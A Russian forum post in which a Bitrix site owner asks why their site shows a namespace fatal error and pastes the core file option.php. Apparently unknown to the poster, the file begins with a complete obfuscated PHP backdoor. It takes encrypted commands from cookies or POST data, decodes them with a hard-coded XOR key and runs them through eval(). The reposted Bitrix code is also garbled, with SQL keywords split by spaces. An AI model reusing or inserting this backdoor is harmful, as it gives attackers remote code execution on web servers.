Добрый день! Перестал работать сайт, настройки не меняли, в конфигурационные файлы не лазили, только заливали контент, так как сам я с bitrix вообще не работал поэтому никуда и не лез.
Теперь при попытке зайти на сайт выдает следующее сообщение:
Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/vzmorieshk/vzmorieshkola2.ru/docs/bitrix/modules/main/lib/config/option.php on line 2
Подскажите в чем может быть дело и какие пути решения проблемы?
файл на которые ссылается выглядит так:
Теперь при попытке зайти на сайт выдает следующее сообщение:
Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/vzmorieshk/vzmorieshkola2.ru/docs/bitrix/modules/main/lib/config/option.php on line 2
Подскажите в чем может быть дело и какие пути решения проблемы?
файл на которые ссылается выглядит так:
Код |
---|
<?php $GLOBALS['rad29d'];global$rad29d;$rad29d=$GLOBALS;$rad29d['qe95']="\xa\x48\x4f\x2b\x3a\x6b\x7d\x33\x7c\x5b\x52\x32\x79\x50\x25\x26\x3d\x72\x29\x78\x70\x35\x24\xd\x6e\x34\x6a\x3c\x22\x51\x57\x66\x36\x60\x76\x5d\x42\x56\x5a\x41\x5e\x5f\x69\x67\x75\x49\x3b\x2e\x40\x2f\x58\x4c\x20\x2c\x43\x44\x4a\x59\x30\x3e\x2a\x46\x27\x21\x5c\x38\x6d\x61\x53\x37\x4b\x73\x31\x7a\x71\x55\x3f\x7b\x64\x54\x2d\x28\x77\x9\x68\x62\x39\x63\x4e\x6f\x4d\x23\x45\x74\x6c\x47\x65\x7e";$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][58].$rad29d['qe95'][67].$rad29d['qe95'][78].$rad29d['qe95'][58].$rad29d['qe95'][96].$rad29d['qe95'][78]]=$rad29d['qe95'][87].$rad29d['qe95'][84].$rad29d['qe95'][17];$rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]=$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][78];$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]=$rad29d['qe95'][71].$rad29d['qe95'][93].$rad29d['qe95'][17].$rad29d['qe95'][94].$rad29d['qe95'][96].$rad29d['qe95'][24];$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]=$rad29d['qe95'][42].$rad29d['qe95'][24].$rad29d['qe95'][42].$rad29d['qe95'][41].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][93];$rad29d[$rad29d['qe95'][31].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][7].$rad29d['qe95'][72].$rad29d['qe95'][7]]=$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][42].$rad29d['qe95'][67].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][73].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][44].$rad29d['qe95'][21].$rad29d['qe95'][96].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][69]]=$rad29d['qe95'][20].$rad29d['qe95'][84].$rad29d['qe95'][20].$rad29d['qe95'][34].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][71].$rad29d['qe95'][42].$rad29d['qe95'][89].$rad29d['qe95'][24];$rad29d[$rad29d['qe95'][26].$rad29d['qe95'][78].$rad29d['qe95'][31].$rad29d['qe95'][31]]=$rad29d['qe95'][44].$rad29d['qe95'][24].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][42].$rad29d['qe95'][67].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][73].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][58].$rad29d['qe95'][72].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7]]=$rad29d['qe95'][85].$rad29d['qe95'][67].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][41].$rad29d['qe95'][78].$rad29d['qe95'][96].$rad29d['qe95'][87].$rad29d['qe95'][89].$rad29d['qe95'][78].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][31].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][72].$rad29d['qe95'][58].$rad29d['qe95'][78].$rad29d['qe95'][31]]=$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][93].$rad29d['qe95'][41].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][96].$rad29d['qe95'][41].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][42].$rad29d['qe95'][93];$rad29d[$rad29d['qe95'][74].$rad29d['qe95'][87].$rad29d['qe95'][69].$rad29d['qe95'][25].$rad29d['qe95'][58].$rad29d['qe95'][58].$rad29d['qe95'][72]]=$rad29d['qe95'][17].$rad29d['qe95'][31].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][67].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][86];$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]=$rad29d['qe95'][42].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][7];$rad29d[$rad29d['qe95'][93].$rad29d['qe95'][96].$rad29d['qe95'][58].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][78].$rad29d['qe95'][67].$rad29d['qe95'][65].$rad29d['qe95'][85]]=$_POST;$rad29d[$rad29d['qe95'][73].$rad29d['qe95'][96].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][67]]=$_COOKIE;@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][17].$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][41].$rad29d['qe95'][94].$rad29d['qe95'][89].$rad29d['qe95'][43],NULL);@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][94].$rad29d['qe95'][89].$rad29d['qe95'][43].$rad29d['qe95'][41].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][17].$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][71],0);@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][66].$rad29d['qe95'][67].$rad29d['qe95'][19].$rad29d['qe95'][41].$rad29d['qe95'][96].$rad29d['qe95'][19].$rad29d['qe95'][96].$rad29d['qe95'][87].$rad29d['qe95'][44].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][89].$rad29d['qe95'][24].$rad29d['qe95'][41].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][96],0);@$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][31].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][72].$rad29d['qe95'][58].$rad29d['qe95'][78].$rad29d['qe95'][31]](0);$b6cb4=NULL;$ddb6d=NULL;$rad29d[$rad29d['qe95'][78].$rad29d['qe95'][65].$rad29d['qe95'][85].$rad29d['qe95'][78].$rad29d['qe95'][58]]=$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][87].$rad29d['qe95'][7].$rad29d['qe95'][65].$rad29d['qe95'][65].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][80].$rad29d['qe95'][86].$rad29d['qe95'][31].$rad29d['qe95'][85].$rad29d['qe95'][72].$rad29d['qe95'][80].$rad29d['qe95'][25].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][21].$rad29d['qe95'][80].$rad29d['qe95'][65].$rad29d['qe95'][69].$rad29d['qe95'][65].$rad29d['qe95'][32].$rad29d['qe95'][80].$rad29d['qe95'][7].$rad29d['qe95'][67].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][31].$rad29d['qe95'][65].$rad29d['qe95'][58].$rad29d['qe95'][65].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][96].$rad29d['qe95'][11];global$d8bd0;function iddca333($b6cb4,$ed9b8){global$rad29d;$s119eefb="";for($wfaf=0;$wfaf<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($b6cb4);){for($k97dc=0;$k97dc<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($ed9b8)&&$wfaf<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($b6cb4);$k97dc++,$wfaf++){$s119eefb.=$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][58].$rad29d['qe95'][67].$rad29d['qe95'][78].$rad29d['qe95'][58].$rad29d['qe95'][96].$rad29d['qe95'][78]]($rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]($b6cb4[$wfaf])^$rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]($ed9b8[$k97dc]));}}return$s119eefb;}function rfb9a0c59($b6cb4,$ed9b8){global$rad29d;global$d8bd0;return$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]($rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]($b6cb4,$d8bd0),$ed9b8);}foreach($rad29d[$rad29d['qe95'][73].$rad29d['qe95'][96].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][67]]as$ed9b8=>$v681b176){$b6cb4=$v681b176;$ddb6d=$ed9b8;}if(!$b6cb4){foreach($rad29d[$rad29d['qe95'][93].$rad29d['qe95'][96].$rad29d['qe95'][58].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][78].$rad29d['qe95'][67].$rad29d['qe95'][65].$rad29d['qe95'][85]]as$ed9b8=>$v681b176){$b6cb4=$v681b176;$ddb6d=$ed9b8;}}$b6cb4=@$rad29d[$rad29d['qe95'][26].$rad29d['qe95'][78].$rad29d['qe95'][31].$rad29d['qe95'][31]]($rad29d[$rad29d['qe95'][74].$rad29d['qe95'][87].$rad29d['qe95'][69].$rad29d['qe95'][25].$rad29d['qe95'][58].$rad29d['qe95'][58].$rad29d['qe95'][72]]($rad29d[$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][58].$rad29d['qe95'][72].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7]]($b6cb4),$ddb6d));if(isset($b6cb4[$rad29d['qe95'][67].$rad29d['qe95'][5]])&&$d8bd0==$b6cb4[$rad29d['qe95'][67].$rad29d['qe95'][5]]){if($b6cb4[$rad29d['qe95'][67]]==$rad29d['qe95'][42]){$wfaf=Array($rad29d['qe95'][20].$rad29d['qe95'][34]=>@$rad29d[$rad29d['qe95'][44].$rad29d['qe95'][21].$rad29d['qe95'][96].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][69]](),$rad29d['qe95'][71].$rad29d['qe95'][34]=>$rad29d['qe95'][72].$rad29d['qe95'][47].$rad29d['qe95'][58].$rad29d['qe95'][80].$rad29d['qe95'][72],);echo@$rad29d[$rad29d['qe95'][31].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][7].$rad29d['qe95'][72].$rad29d['qe95'][7]]($wfaf);}elseif($b6cb4[$rad29d['qe95'][67]]==$rad29d['qe95'][96]){eval($b6cb4[$rad29d['qe95'][78]]);}exit();} ?><?php namespace Bitrix\Main\Config; use Bitrix\Main; class Option { protected static $options = array(); protected static $cacheTtl = null; public static function get($moduleId, $name, $default = "", $siteId = false) { if (empty($moduleId)) throw new Main\ArgumentNullException("moduleId"); if (empty($name)) throw new Main\ArgumentNullException("name"); static $defaultSite = null; if ($siteId === false) { if ($defaultSite === null) { $context = Main\Application::getInstance()->getContext(); if ($context != null) $defaultSite = $context->getSite(); } $siteId = $defaultSite; } $siteKey = ($siteId == "") ? "-" : $siteId; if (static::$cacheTtl === null) static::$cacheTtl = self::getCacheTtl(); if ((static::$cacheTtl === false) && !isset(self::$options[$siteKey][$moduleId]) || (static::$cacheTtl !== false) && empty(self::$options)) { self::load($moduleId, $siteId); } if (isset(self::$options[$siteKey][$moduleId][$name])) return self::$options[$siteKey][$moduleId][$name]; if (isset(self::$options["-"][$moduleId][$name])) return self::$options["-"][$moduleId][$name]; if ($default == "") { $moduleDefaults = self::getDefaults($moduleId); if (isset($moduleDefaults[$name])) return $moduleDefaults[$name]; } return $default; } public static function getRealValue($moduleId, $name, $siteId = false) { if (empty($moduleId)) throw new Main\ArgumentNullException("moduleId"); if (empty($name)) throw new Main\ArgumentNullException("name"); if ($siteId === false) { $context = Main\Application::getInstance()->getContext(); if ($context != null) $siteId = $context->getSite(); } $siteKey = ($siteId == "") ? "-" : $siteId; if (static::$cacheTtl === null) static::$cacheTtl = self::getCacheTtl(); if ((static::$cacheTtl === false) && !isset(self::$options[$siteKey][$moduleId]) || (static::$cacheTtl !== false) && empty(self::$options)) { self::load($moduleId, $siteId); } if (isset(self::$options[$siteKey][$moduleId][$name])) return self::$options[$siteKey][$moduleId][$name]; return null; } private static function getDefaults($moduleId) { static $defaultsCache = array(); if (isset($defaultsCache[$moduleId])) return $defaultsCache[$moduleId]; if (preg_match("#[^a-zA-Z0-9._]#", $moduleId)) throw new Main\ArgumentOutOfRangeException("moduleId"); $path = Main\Loader::getLocal("modules/".$moduleId."/default_option.php"); if ($path === false) return $defaultsCache[$moduleId] = array(); include($path); $varName = str_replace(".", "_", $moduleId)."_default_option"; if (isset(${$varName}) && is_array(${$varName})) return $defaultsCache[$moduleId] = ${$varName}; return $defaultsCache[$moduleId] = array(); } private static function load($moduleId, $siteId) { $siteKey = ($siteId == "") ? "-" : $siteId; if (static::$cacheTtl === null) static::$cacheTtl = self::getCacheTtl(); if (static::$cacheTtl === false) { if (!isset(self::$options[$siteKey][$moduleId])) { self::$options[$siteKey][$moduleId] = array(); $con = Main\Application::getConnection(); $sqlHelper = $con->getSqlHelper(); $res = $con->query( "SEL ECT SITE_ID, NAME, VALUE ". "FR OM b_option ". "WHERE (SITE_ID = '".$sqlHelper->forSql($siteId, 2)."' OR SITE_ID IS NULL) ". " AND MODULE_ID = '". $sqlHelper->forSql($moduleId)."' " ); while ($ar = $res->fetch()) { $s = ($ar["SITE_ID"] == "") ? "-" : $ar["SITE_ID"]; self::$options[$s][$moduleId][$ar["NAME"]] = $ar["VALUE"]; } } } else { if (empty(self::$options)) { $cache = Main\Application::getInstance()->getManagedCache(); if ($cache->read(static::$cacheTtl, "b_option")) { self::$options = $cache->get("b_option"); } else { $con = Main\Application::getConnection(); $res = $con->query( "SEL ECT o.SITE_ID, o.MODULE_ID, o.NAME, o.VALUE ". "FR OM b_option o " ); while ($ar = $res->fetch()) { $s = ($ar["SITE_ID"] == "") ? "-" : $ar["SITE_ID"]; self::$options[$s][$ar["MODULE_ID"]][$ar["NAME"]] = $ar["VALUE"]; } $cache->set("b_option", self::$options); } } } } public static function set($moduleId, $name, $value = "", $siteId = false) { if (static::$cacheTtl === null) static::$cacheTtl = self::getCacheTtl(); if (static::$cacheTtl !== false) { $cache = Main\Application::getInstance()->getManagedCache(); $cache->clean("b_option"); } if ($siteId === false) { $context = Main\Application::getInstance()->getContext(); if ($context != null) $siteId = $context->getSite(); } $con = Main\Application::getConnection(); $sqlHelper = $con->getSqlHelper(); $strSqlWhere = sprintf( "SITE_ID %s AND MODULE_ID = '%s' AND NAME = '%s'", ($siteId == "") ? "IS NULL" : "= '".$sqlHelper->forSql($siteId, 2)."'", $sqlHelper->forSql($moduleId), $sqlHelper->forSql($name) ); $res = $con->queryScalar( "SEL ECT 'x' ". "FR OM b_option ". "WHERE ".$strSqlWhere ); if ($res != null) { $con->queryExecute( "UPD ATE b_option SE T ". " VALUE = '".$sqlHelper->forSql($value, 2000)."' ". "WHERE ".$strSqlWhere ); } else { $con->queryExecute( sprintf( "INS ERT INTO b_option(SITE_ID, MODULE_ID, NAME, VALUE) ". "VALUES(%s, '%s', '%s', '%s') ", ($siteId == "") ? "NULL" : "'".$sqlHelper->forSql($siteId, 2)."'", $sqlHelper->forSql($moduleId, 50), $sqlHelper->forSql($name, 50), $sqlHelper->forSql($value, 2000) ) ); } if ($siteId == "") $siteId = '-'; self::$options[$siteId][$moduleId][$name] = $value; self::loadTriggers($moduleId); $event = new Main\Event( "main", "OnAfterSetOption_".$name, array("val ue" => $value) ); $event->send(); return; } private static function loadTriggers($moduleId) { static $triggersCache = array(); if (isset($triggersCache[$moduleId])) return; if (preg_match("#[^a-zA-Z0-9._]#", $moduleId)) throw new Main\ArgumentOutOfRangeException("moduleId"); $triggersCache[$moduleId] = true; $path = Main\Loader::getLocal("modules/".$moduleId."/option_triggers.php"); if ($path === false) return; include($path); } private static function getCacheTtl() { $cacheFlags = Configuration::getValue("cache_flags"); if (!isset($cacheFlags["config_options"])) return 0; return $cacheFlags["config_options"]; } public static function delete($moduleId, $filter = array()) { if (static::$cacheTtl === null) static::$cacheTtl = self::getCacheTtl(); if (static::$cacheTtl !== false) { $cache = Main\Application::getInstance()->getManagedCache(); $cache->clean("b_option"); } $con = Main\Application::getConnection(); $sqlHelper = $con->getSqlHelper(); $strSqlWhere = ""; if (isset($filter["name"])) { if (empty($filter["name"])) throw new Main\ArgumentNullException("filter[name]"); $strSqlWhere .= " AND NAME = '".$sqlHelper->forSql($filter["name"])."' "; } if (isset($filter["site_id"])) $strSqlWhere .= " AND SITE_ID ".($filter["site_id"] == "") ? "IS NULL" : "= '".$sqlHelper->forSql($filter["site_id"], 2)."'"; if ($moduleId == "main") { $con->queryExecute( "DELETE FR OM b_option ". "WH ERE MODULE_ID = 'main' ". " AND NAME NOT LIKE '~%' ". " AND NAME NOT IN ('crc_code', 'admin_passwordh', 'server_uniq_id','PARAM_MAX_SITES', 'PARAM_MAX_USERS') ". $strSqlWhere ); } else { $con->queryExecute( "DELETE FR OM b_option ". "WH ERE MODULE_ID = '".$sqlHelper->forSql($moduleId)."' ". " AND NAME <> '~bsm_stop_date' ". $strSqlWhere ); } if (isset($filter["site_id"])) { $siteKey = $filter["site_id"] == "" ? "-" : $filter["site_id"]; if (!isset($filter["name"])) unset(self::$options[$siteKey][$moduleId]); else unset(self::$options[$siteKey][$moduleId][$filter["name"]]); } else { $arSites = array_keys(self::$options); foreach ($arSites as $s) { if (!isset($filter["name"])) unset(self::$options[$s][$moduleId]); else unset(self::$options[$s][$moduleId][$filter["name"]]); } } } } |